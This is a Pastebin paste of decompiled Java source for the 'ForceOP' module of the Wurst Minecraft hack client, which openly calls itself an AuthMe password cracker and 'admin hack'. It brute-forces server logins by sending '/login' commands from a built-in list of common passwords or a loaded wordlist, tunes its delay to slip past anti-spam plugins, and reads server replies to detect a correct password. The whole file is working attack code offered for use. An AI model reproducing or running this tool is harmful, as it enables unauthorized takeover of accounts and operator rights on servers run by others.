Advertisement
Guest User

Untitled

a guest
May 18th, 2018
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.77 KB | None | 0 0
  1. package tk.wurst_client.mods;
  2.  
  3. import java.awt.Desktop;
  4. import java.awt.Dimension;
  5. import java.awt.Font;
  6. import java.awt.Toolkit;
  7. import java.awt.event.ActionEvent;
  8. import java.awt.event.ActionListener;
  9. import java.awt.event.WindowAdapter;
  10. import java.awt.event.WindowEvent;
  11. import java.io.BufferedReader;
  12. import java.io.File;
  13. import java.io.FileReader;
  14. import java.io.IOException;
  15. import java.net.URI;
  16. import java.util.ArrayList;
  17. import java.util.concurrent.TimeUnit;
  18. import javax.swing.ButtonGroup;
  19. import javax.swing.JButton;
  20. import javax.swing.JCheckBox;
  21. import javax.swing.JDialog;
  22. import javax.swing.JFileChooser;
  23. import javax.swing.JLabel;
  24. import javax.swing.JOptionPane;
  25. import javax.swing.JRadioButton;
  26. import javax.swing.JSeparator;
  27. import javax.swing.JSpinner;
  28. import javax.swing.SpinnerNumberModel;
  29. import javax.swing.event.ChangeEvent;
  30. import javax.swing.event.ChangeListener;
  31. import javax.swing.filechooser.FileNameExtensionFilter;
  32. import net.minecraft.client.Minecraft;
  33. import net.minecraft.client.entity.EntityPlayerSP;
  34. import net.minecraft.util.IChatComponent;
  35. import net.minecraft.util.Session;
  36. import tk.wurst_client.WurstClient;
  37. import tk.wurst_client.chat.ChatManager;
  38. import tk.wurst_client.events.ChatInputEvent;
  39. import tk.wurst_client.events.EventManager;
  40. import tk.wurst_client.events.listeners.ChatInputListener;
  41. import tk.wurst_client.files.FileManager;
  42. import tk.wurst_client.navigator.NavigatorItem;
  43. import tk.wurst_client.options.OptionsManager;
  44. import tk.wurst_client.special.SpfManager;
  45.  
  46. @Mod.Info(category=Mod.Category.CHAT, description="Cracks AuthMe passwords. Can be used to get OP.\nIf you want to know how to use this, press the\n\"How to use\" button. That will open an online\ntutorial explaining exactly how to use it.\nDon't message me on this!", name="ForceOP", tags="Force OP,AuthMe Cracker,AuthMeCracker,auth me cracker,admin hack,AuthMe password cracker", tutorial="Mods/Force_OP_(AuthMeCracker)")
  47. public class ForceOpMod
  48. extends Mod
  49. implements ChatInputListener
  50. {
  51. private JLabel lAttempts;
  52. private int lastPW;
  53. private boolean gotWrongPWMSG;
  54. private JButton bStart;
  55. private JLabel lTime;
  56. private JLabel lPasswords;
  57. private JLabel lName;
  58. private JSeparator sepSpeedStart;
  59. private JCheckBox cbDontWait;
  60. private JLabel lDelay2;
  61. private JSpinner spDelay;
  62. private JLabel lDelay1;
  63. private JLabel lSpeed;
  64. private JSeparator sepListSpeed;
  65. private JButton bHowTo;
  66. private JButton bTXTList;
  67. private JRadioButton rbTXTList;
  68. private JRadioButton rbDefaultList;
  69. private JLabel lPWList;
  70. private JDialog dialog;
  71. private String[] passwords = new String[0];
  72. private String[] defaultList = { "password", "passwort", "password1", "passwort1", "password123", "passwort123", "pass", "pw", "pw1", "pw123", "hallo", "Wurst", "wurst", "1234", "12345", "123456", "1234567", "12345678", "123456789", "login", "register", "test", "sicher", "me", "penis", "penis1", "penis123", "minecraft", "minecraft1", "minecraft123", "mc", "admin", "server", "yourmom", "tester", "account", "creeper", "gronkh", "lol", "auth", "authme", "qwerty", "qwertz", "ficken", "ficken1", "ficken123", "fuck", "fuckme", "fuckyou" };
  73.  
  74. public NavigatorItem[] getSeeAlso()
  75. {
  76. return new NavigatorItem[] { wurst.mods.opSignMod,
  77. wurst.special.bookHackSpf, wurst.special.sessionStealerSpf };
  78. }
  79.  
  80. public void onEnable()
  81. {
  82. new Thread()
  83. {
  84. public void run()
  85. {
  86. ForceOpMod.this.lastPW = -1;
  87. ForceOpMod.wurst.files.loadOptions();
  88. ForceOpMod.this.dialog =
  89. new JDialog(null, ForceOpMod.this.getName(), false);
  90. ForceOpMod.this.dialog.setAlwaysOnTop(true);
  91. Dimension screen = Toolkit.getDefaultToolkit().getScreenSize();
  92. ForceOpMod.this.dialog.setSize(512, 248);
  93. ForceOpMod.this.dialog.setResizable(false);
  94. ForceOpMod.this.dialog.setLocation((screen.width - ForceOpMod.this.dialog.getWidth()) / 2,
  95. (screen.height - ForceOpMod.this.dialog.getHeight()) / 2);
  96. ForceOpMod.this.dialog.setLayout(null);
  97. ForceOpMod.this.dialog
  98. .setDefaultCloseOperation(2);
  99. ForceOpMod.this.dialog.addWindowListener(new WindowAdapter()
  100. {
  101. public void windowClosing(WindowEvent e)
  102. {
  103. ForceOpMod.wurst.mods.forceOpMod.setEnabled(false);
  104. }
  105. });
  106. ForceOpMod.this.lPWList = new JLabel("Password list");
  107. ForceOpMod.this.lPWList.setLocation(4, 4);
  108. ForceOpMod.this.lPWList.setSize(ForceOpMod.this.lPWList.getPreferredSize());
  109. ForceOpMod.this.dialog.add(ForceOpMod.this.lPWList);
  110.  
  111. ForceOpMod.this.rbDefaultList =
  112. new JRadioButton("default",
  113. ForceOpMod.wurst.options.forceOPList.equals(ForceOpMod.wurst.files.wurstDir
  114. .getPath()));
  115. ForceOpMod.this.rbDefaultList.setLocation(4, 24);
  116. ForceOpMod.this.rbDefaultList.setSize(ForceOpMod.this.rbDefaultList.getPreferredSize());
  117. ForceOpMod.this.dialog.add(ForceOpMod.this.rbDefaultList);
  118.  
  119. ForceOpMod.this.rbTXTList =
  120. new JRadioButton("TXT file", !ForceOpMod.this.rbDefaultList.isSelected());
  121. ForceOpMod.this.rbTXTList.setLocation(
  122. ForceOpMod.this.rbDefaultList.getX() + ForceOpMod.this.rbDefaultList.getWidth() + 4, 24);
  123. ForceOpMod.this.rbTXTList.setSize(ForceOpMod.this.rbTXTList.getPreferredSize());
  124. ForceOpMod.this.rbTXTList.addChangeListener(new ChangeListener()
  125. {
  126. public void stateChanged(ChangeEvent e)
  127. {
  128. ForceOpMod.this.bTXTList.setEnabled(ForceOpMod.this.rbTXTList.isSelected());
  129. if (!ForceOpMod.this.rbTXTList.isSelected())
  130. {
  131. ForceOpMod.wurst.options.forceOPList =
  132. ForceOpMod.wurst.files.wurstDir.getPath();
  133. ForceOpMod.wurst.files.saveOptions();
  134. }
  135. ForceOpMod.this.loadPWList();
  136. ForceOpMod.this.update();
  137. }
  138. });
  139. ForceOpMod.this.dialog.add(ForceOpMod.this.rbTXTList);
  140.  
  141. ButtonGroup bgList = new ButtonGroup();
  142. bgList.add(ForceOpMod.this.rbDefaultList);
  143. bgList.add(ForceOpMod.this.rbTXTList);
  144.  
  145. ForceOpMod.this.bTXTList = new JButton("browse");
  146. ForceOpMod.this.bTXTList.setLocation(ForceOpMod.this.rbTXTList.getX() + ForceOpMod.this.rbTXTList.getWidth() +
  147. 4, 24);
  148. ForceOpMod.this.bTXTList.setSize(ForceOpMod.this.bTXTList.getPreferredSize());
  149. ForceOpMod.this.bTXTList.setEnabled(ForceOpMod.this.rbTXTList.isSelected());
  150. ForceOpMod.this.bTXTList.addActionListener(new ActionListener()
  151. {
  152. public void actionPerformed(ActionEvent e)
  153. {
  154. JFileChooser fsTXTList = new JFileChooser();
  155. fsTXTList.setAcceptAllFileFilterUsed(false);
  156. fsTXTList
  157. .addChoosableFileFilter(new FileNameExtensionFilter(
  158. "TXT files", new String[] { "txt" }));
  159. fsTXTList.setFileSelectionMode(0);
  160. fsTXTList.setCurrentDirectory(new File(
  161. ForceOpMod.wurst.options.forceOPList));
  162. int action = fsTXTList.showOpenDialog(ForceOpMod.this.dialog);
  163. if (action == 0) {
  164. if (!fsTXTList.getSelectedFile().exists())
  165. {
  166. JOptionPane.showMessageDialog(ForceOpMod.this.dialog,
  167. "File does not exist!", "Error",
  168. 0);
  169. }
  170. else
  171. {
  172. ForceOpMod.wurst.options.forceOPList =
  173. fsTXTList.getSelectedFile().getPath();
  174. ForceOpMod.wurst.files.saveOptions();
  175. }
  176. }
  177. ForceOpMod.this.loadPWList();
  178. ForceOpMod.this.update();
  179. }
  180. });
  181. ForceOpMod.this.dialog.add(ForceOpMod.this.bTXTList);
  182.  
  183. ForceOpMod.this.bHowTo = new JButton("How to use");
  184. ForceOpMod.this.bHowTo.setFont(new Font(ForceOpMod.this.bHowTo.getFont().getName(), 1,
  185. 16));
  186. ForceOpMod.this.bHowTo.setSize(ForceOpMod.this.bHowTo.getPreferredSize());
  187. ForceOpMod.this.bHowTo.setLocation(506 - ForceOpMod.this.bHowTo.getWidth() - 32, 12);
  188. ForceOpMod.this.bHowTo.addActionListener(new ActionListener()
  189. {
  190. public void actionPerformed(ActionEvent e)
  191. {
  192. try
  193. {
  194. String howToLink =
  195. "http://www.wurst-client.tk/tutorials/forceop";
  196. Desktop.getDesktop().browse(new URI(howToLink));
  197. }
  198. catch (Throwable var5)
  199. {
  200. var5.printStackTrace();
  201. }
  202. }
  203. });
  204. ForceOpMod.this.dialog.add(ForceOpMod.this.bHowTo);
  205.  
  206. ForceOpMod.this.sepListSpeed = new JSeparator();
  207. ForceOpMod.this.sepListSpeed.setLocation(4, 56);
  208. ForceOpMod.this.sepListSpeed.setSize(498, 4);
  209. ForceOpMod.this.dialog.add(ForceOpMod.this.sepListSpeed);
  210.  
  211. ForceOpMod.this.lSpeed = new JLabel("Speed");
  212. ForceOpMod.this.lSpeed.setLocation(4, 64);
  213. ForceOpMod.this.lSpeed.setSize(ForceOpMod.this.lSpeed.getPreferredSize());
  214. ForceOpMod.this.dialog.add(ForceOpMod.this.lSpeed);
  215.  
  216. ForceOpMod.this.lDelay1 = new JLabel("Delay between attempts:");
  217. ForceOpMod.this.lDelay1.setLocation(4, 84);
  218. ForceOpMod.this.lDelay1.setSize(ForceOpMod.this.lDelay1.getPreferredSize());
  219. ForceOpMod.this.dialog.add(ForceOpMod.this.lDelay1);
  220.  
  221. ForceOpMod.this.spDelay = new JSpinner();
  222. ForceOpMod.this.spDelay
  223. .setToolTipText("<html>50ms: fastest, doesn't bypass AntiSpam plugins<br>1.000ms: recommended, bypasses most AntiSpam plugins<br>10.000ms: slowest, bypasses all AntiSpam plugins</html>");
  224.  
  225. ForceOpMod.this.spDelay.setModel(new SpinnerNumberModel(
  226. ForceOpMod.wurst.options.forceOPDelay, 50, 10000, 50));
  227. ForceOpMod.this.spDelay
  228. .setLocation(ForceOpMod.this.lDelay1.getX() + ForceOpMod.this.lDelay1.getWidth() + 4, 84);
  229. ForceOpMod.this.spDelay
  230. .setSize(60, (int)ForceOpMod.this.spDelay.getPreferredSize().getHeight());
  231. ForceOpMod.this.spDelay.addChangeListener(new ChangeListener()
  232. {
  233. public void stateChanged(ChangeEvent e)
  234. {
  235. ForceOpMod.wurst.options.forceOPDelay =
  236. ((Integer)ForceOpMod.this.spDelay.getValue()).intValue();
  237. ForceOpMod.wurst.files.saveOptions();
  238. ForceOpMod.this.update();
  239. }
  240. });
  241. ForceOpMod.this.dialog.add(ForceOpMod.this.spDelay);
  242.  
  243. ForceOpMod.this.lDelay2 = new JLabel("ms");
  244. ForceOpMod.this.lDelay2
  245. .setLocation(ForceOpMod.this.spDelay.getX() + ForceOpMod.this.spDelay.getWidth() + 4, 84);
  246. ForceOpMod.this.lDelay2.setSize(ForceOpMod.this.lDelay2.getPreferredSize());
  247. ForceOpMod.this.dialog.add(ForceOpMod.this.lDelay2);
  248.  
  249. ForceOpMod.this.cbDontWait =
  250. new JCheckBox(
  251. "<html>Don't wait for \"<span style=\"color: rgb(192, 0, 0);\"><b>Wrong password!</b></span>\" messages</html>",
  252. ForceOpMod.wurst.options.forceOPDontWait);
  253. ForceOpMod.this.cbDontWait
  254. .setToolTipText("Increases the speed but can cause inaccuracy.");
  255. ForceOpMod.this.cbDontWait.setLocation(4, 104);
  256. ForceOpMod.this.cbDontWait.setSize(ForceOpMod.this.cbDontWait.getPreferredSize());
  257. ForceOpMod.this.cbDontWait.addActionListener(new ActionListener()
  258. {
  259. public void actionPerformed(ActionEvent e)
  260. {
  261. ForceOpMod.wurst.options.forceOPDontWait = ForceOpMod.this.cbDontWait.isSelected();
  262. ForceOpMod.wurst.files.saveOptions();
  263. ForceOpMod.this.update();
  264. }
  265. });
  266. ForceOpMod.this.dialog.add(ForceOpMod.this.cbDontWait);
  267.  
  268. ForceOpMod.this.sepSpeedStart = new JSeparator();
  269. ForceOpMod.this.sepSpeedStart.setLocation(4, 132);
  270. ForceOpMod.this.sepSpeedStart.setSize(498, 4);
  271. ForceOpMod.this.dialog.add(ForceOpMod.this.sepSpeedStart);
  272.  
  273. ForceOpMod.this.lName = new JLabel("Username: " + ForceOpMod.mc.session.getUsername());
  274. ForceOpMod.this.lName.setLocation(4, 140);
  275. ForceOpMod.this.lName.setSize(ForceOpMod.this.lName.getPreferredSize());
  276. ForceOpMod.this.dialog.add(ForceOpMod.this.lName);
  277.  
  278. ForceOpMod.this.lPasswords = new JLabel("Passwords: error");
  279. ForceOpMod.this.lPasswords.setLocation(4, 160);
  280. ForceOpMod.this.lPasswords.setSize(ForceOpMod.this.lPasswords.getPreferredSize());
  281. ForceOpMod.this.dialog.add(ForceOpMod.this.lPasswords);
  282.  
  283. ForceOpMod.this.lTime = new JLabel("Estimated time: error");
  284. ForceOpMod.this.lTime.setLocation(4, 180);
  285. ForceOpMod.this.lTime.setSize(ForceOpMod.this.lTime.getPreferredSize());
  286. ForceOpMod.this.dialog.add(ForceOpMod.this.lTime);
  287.  
  288. ForceOpMod.this.lAttempts = new JLabel("Attempts: error");
  289. ForceOpMod.this.lAttempts.setLocation(4, 200);
  290. ForceOpMod.this.lAttempts.setSize(ForceOpMod.this.lAttempts.getPreferredSize());
  291. ForceOpMod.this.dialog.add(ForceOpMod.this.lAttempts);
  292.  
  293. ForceOpMod.this.bStart = new JButton("Start");
  294. ForceOpMod.this.bStart.setFont(new Font(ForceOpMod.this.bHowTo.getFont().getName(), 1,
  295. 18));
  296. ForceOpMod.this.bStart.setLocation(302, 144);
  297. ForceOpMod.this.bStart.setSize(192, 66);
  298. ForceOpMod.this.bStart.addActionListener(new ActionListener()
  299. {
  300. public void actionPerformed(ActionEvent e)
  301. {
  302. ForceOpMod.this.lPWList.setEnabled(false);
  303. ForceOpMod.this.rbDefaultList.setEnabled(false);
  304. ForceOpMod.this.rbTXTList.setEnabled(false);
  305. ForceOpMod.this.bTXTList.setEnabled(false);
  306. ForceOpMod.this.bHowTo.setEnabled(false);
  307. ForceOpMod.this.sepListSpeed.setEnabled(false);
  308. ForceOpMod.this.lSpeed.setEnabled(false);
  309. ForceOpMod.this.lDelay1.setEnabled(false);
  310. ForceOpMod.this.spDelay.setEnabled(false);
  311. ForceOpMod.this.lDelay2.setEnabled(false);
  312. ForceOpMod.this.cbDontWait.setEnabled(false);
  313. ForceOpMod.this.sepSpeedStart.setEnabled(false);
  314. ForceOpMod.this.lName.setEnabled(false);
  315. ForceOpMod.this.lPasswords.setEnabled(false);
  316. ForceOpMod.this.bStart.setEnabled(false);
  317. new Thread(new Runnable()
  318. {
  319. public void run()
  320. {
  321. ForceOpMod.mc.thePlayer.sendChatMessage("/login " +
  322. ForceOpMod.mc.session.getUsername());
  323. ForceOpMod.this.lastPW = 0;
  324. ForceOpMod.this.loadPWList();
  325. ForceOpMod.this.update();
  326. for (int i = 0; i < ForceOpMod.this.passwords.length; i++)
  327. {
  328. if (!ForceOpMod.wurst.mods.forceOpMod.isActive()) {
  329. return;
  330. }
  331. if (!ForceOpMod.this.cbDontWait.isSelected()) {
  332. ForceOpMod.this.gotWrongPWMSG = false;
  333. }
  334. while (((!ForceOpMod.this.cbDontWait.isSelected()) &&
  335. (!ForceOpMod.this.hasGotWrongPWMSG())) ||
  336. (ForceOpMod.mc.thePlayer == null))
  337. {
  338. if (!ForceOpMod.wurst.mods.forceOpMod.isActive()) {
  339. return;
  340. }
  341. try
  342. {
  343. Thread.sleep(50L);
  344. }
  345. catch (InterruptedException e)
  346. {
  347. e.printStackTrace();
  348. }
  349. if (ForceOpMod.mc.thePlayer == null) {
  350. ForceOpMod.this.gotWrongPWMSG = true;
  351. }
  352. }
  353. try
  354. {
  355. Thread.sleep(ForceOpMod.wurst.options.forceOPDelay);
  356. }
  357. catch (InterruptedException e)
  358. {
  359. e.printStackTrace();
  360. }
  361. boolean sent = false;
  362. while (!sent) {
  363. try
  364. {
  365. ForceOpMod.mc.thePlayer.sendChatMessage("/login " +
  366. ForceOpMod.this.passwords[i]);
  367. sent = true;
  368. }
  369. catch (Exception e)
  370. {
  371. try
  372. {
  373. Thread.sleep(50L);
  374. }
  375. catch (InterruptedException e1)
  376. {
  377. e1.printStackTrace();
  378. }
  379. }
  380. }
  381. ForceOpMod.this.lastPW = (i + 1);
  382. ForceOpMod.this.update();
  383. }
  384. ForceOpMod.wurst.chat.failure("Tried " + (ForceOpMod.this.lastPW + 1) +
  385. " passwords. Giving up.");
  386. }
  387. }, "AuthMeCracker").start();
  388. }
  389. });
  390. ForceOpMod.this.dialog.add(ForceOpMod.this.bStart);
  391.  
  392. ForceOpMod.this.loadPWList();
  393. ForceOpMod.this.update();
  394. ForceOpMod.mc.setIngameNotInFocus();
  395. ForceOpMod.this.dialog.setVisible(true);
  396. ForceOpMod.this.dialog.toFront();
  397. }
  398. }.start();
  399. wurst.events.add(ChatInputListener.class, this);
  400. }
  401.  
  402. private void loadPWList()
  403. {
  404. if (this.rbTXTList.isSelected()) {
  405. if (!wurst.options.forceOPList.equals(wurst.files.wurstDir.getPath())) {
  406. try
  407. {
  408. File pwList = new File(wurst.options.forceOPList);
  409. BufferedReader load =
  410. new BufferedReader(new FileReader(pwList));
  411. ArrayList<String> loadedPWs = new ArrayList();
  412. for (String line = ""; (line = load.readLine()) != null;) {
  413. loadedPWs.add(line);
  414. }
  415. load.close();
  416. this.passwords = ((String[])loadedPWs.toArray(new String[loadedPWs.size()]));
  417. }
  418. catch (IOException e)
  419. {
  420. e.printStackTrace();
  421. JOptionPane.showMessageDialog(this.dialog,
  422. "Error: " + e.getMessage(), "Error",
  423. 0);
  424. return;
  425. }
  426. }
  427. }
  428. this.passwords = this.defaultList;
  429. this.lPasswords.setText("Passwords: " + (this.passwords.length + 1));
  430. this.lPasswords.setSize(this.lPasswords.getPreferredSize());
  431. }
  432.  
  433. private void update()
  434. {
  435. long timeMS =
  436. (this.passwords.length + 1 - this.lastPW) * ((Integer)this.spDelay.getValue()).intValue();
  437. timeMS += (int)(timeMS / 30000L * 5000L);
  438. if (!this.cbDontWait.isSelected()) {
  439. timeMS += timeMS / ((Integer)this.spDelay.getValue()).intValue() * 50L;
  440. }
  441. String timeString =
  442. TimeUnit.MILLISECONDS.toDays(timeMS) +
  443. "d " + (
  444. TimeUnit.MILLISECONDS.toHours(timeMS) - TimeUnit.DAYS
  445. .toHours(TimeUnit.MILLISECONDS.toDays(timeMS))) +
  446. "h " + (
  447. TimeUnit.MILLISECONDS.toMinutes(timeMS) - TimeUnit.HOURS
  448. .toMinutes(TimeUnit.MILLISECONDS.toHours(timeMS))) +
  449. "m " + (
  450. TimeUnit.MILLISECONDS.toSeconds(timeMS) - TimeUnit.MINUTES
  451. .toSeconds(TimeUnit.MILLISECONDS.toMinutes(timeMS))) + "s";
  452. this.lTime.setText("Estimated time: " + timeString);
  453. this.lTime.setSize(this.lTime.getPreferredSize());
  454. this.lAttempts.setText("Attempts: " + (this.lastPW + 1) + "/" + (
  455. this.passwords.length + 1));
  456. this.lAttempts.setSize(this.lAttempts.getPreferredSize());
  457. }
  458.  
  459. public void onReceivedMessage(ChatInputEvent event)
  460. {
  461. String message = event.getComponent().getUnformattedText();
  462. if (message.startsWith("�c[�6Wurst�c]�f ")) {
  463. return;
  464. }
  465. if ((message.toLowerCase().contains("wrong")) ||
  466. (message.toLowerCase().contains("falsch")) ||
  467. (message.toLowerCase().contains("incorrect")) ||
  468. (message.toLowerCase().contains("mauvais")) ||
  469. (message.toLowerCase().contains("mal")) ||
  470. (message.toLowerCase().contains("sbagliato")))
  471. {
  472. this.gotWrongPWMSG = true;
  473. }
  474. else if ((message.toLowerCase().contains("success")) ||
  475. (message.toLowerCase().contains("erfolg")) ||
  476. (message.toLowerCase().contains("succ?s")) ||
  477. (message.toLowerCase().contains("�xito")))
  478. {
  479. if (this.lastPW == -1) {
  480. return;
  481. }
  482. String password;
  483. String password;
  484. if (this.lastPW == 0) {
  485. password = mc.session.getUsername();
  486. } else {
  487. password = this.passwords[(this.lastPW - 1)];
  488. }
  489. wurst.chat.success("The password \"" + password + "\" worked.");
  490. setEnabled(false);
  491. }
  492. else if ((message.toLowerCase().contains("/help")) ||
  493. (message.toLowerCase().contains("permission")))
  494. {
  495. wurst.chat.warning("It looks like this server doesn't have AuthMe.");
  496. }
  497. else if ((message.toLowerCase().contains("logged in")) ||
  498. (message.toLowerCase().contains("eingeloggt")) ||
  499. (message.toLowerCase().contains("eingelogt")))
  500. {
  501. wurst.chat.warning("It looks like you are already logged in.");
  502. }
  503. }
  504.  
  505. private boolean hasGotWrongPWMSG()
  506. {
  507. return this.gotWrongPWMSG;
  508. }
  509.  
  510. public void onDisable()
  511. {
  512. wurst.events.remove(ChatInputListener.class, this);
  513. new Thread()
  514. {
  515. public void run()
  516. {
  517. if (ForceOpMod.this.dialog != null) {
  518. ForceOpMod.this.dialog.dispose();
  519. }
  520. }
  521. }.start();
  522. }
  523. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement